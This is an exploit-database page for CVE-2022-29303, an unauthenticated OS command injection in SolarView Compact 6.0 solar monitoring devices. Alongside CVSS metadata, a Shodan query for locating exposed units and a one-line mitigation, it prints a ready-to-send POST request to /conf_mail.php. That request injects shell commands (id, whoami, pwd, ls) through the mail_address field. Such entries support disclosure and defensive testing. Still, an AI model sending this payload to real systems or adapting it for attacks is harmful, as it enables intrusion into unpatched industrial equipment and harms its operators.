header-logo
Suggest Exploit
vendor:
SolarView Compact
by:
Ahmed Alroky
9.8
CVSS
CRITICAL
OS Command Injection
78
CWE
Product Name: SolarView Compact
Affected Version From: 6
Affected Version To: 6
Patch Exists: NO
Related CWE: CVE-2022-29303
CPE: a:contec:solarview_compact:6.00
Metasploit:
Other Scripts:
Tags: injection,solarview,edb,packetstorm,cve,cve2022,rce,kev
CVSS Metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Nuclei Metadata: {'max-request': 1, 'shodan-query': 'http.html:"SolarView Compact"', 'verified': True, 'vendor': 'contec', 'product': 'sv-cpt-mc310_firmware'}
Platforms Tested: Windows
2022

SolarView Compact 6.0 – OS Command Injection

An OS Command Injection vulnerability exists in SolarView Compact 6.0. An attacker can send a malicious HTTP request to the vulnerable application in order to execute arbitrary OS commands on the server.

Mitigation:

Input validation should be used to prevent OS Command Injection attacks. All user-supplied input should be validated and filtered before being passed to the system.
Source

Exploit-DB raw data:

# Exploit Title: SolarView Compact 6.0 - OS Command Injection
# Date: 2022-05-15
# Exploit Author: Ahmed Alroky
# Author Company : AIactive
# Version: ver.6.00
# Vendor home page : https://www.contec.com/
# Authentication Required: No
# CVE : CVE-2022-29303
# Tested on: Windows

# Exploit
# HTTP Request :
POST /conf_mail.php HTTP/1.1
Host: HOST_IP
Content-Length: 77
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://HOST_IP
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://HOST_IP/conf_mail.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

mail_address=%3Bid%3Bwhoami%3Bpwd%3Bls%3B&button=%83%81%81%5B%83%8B%91%97%90M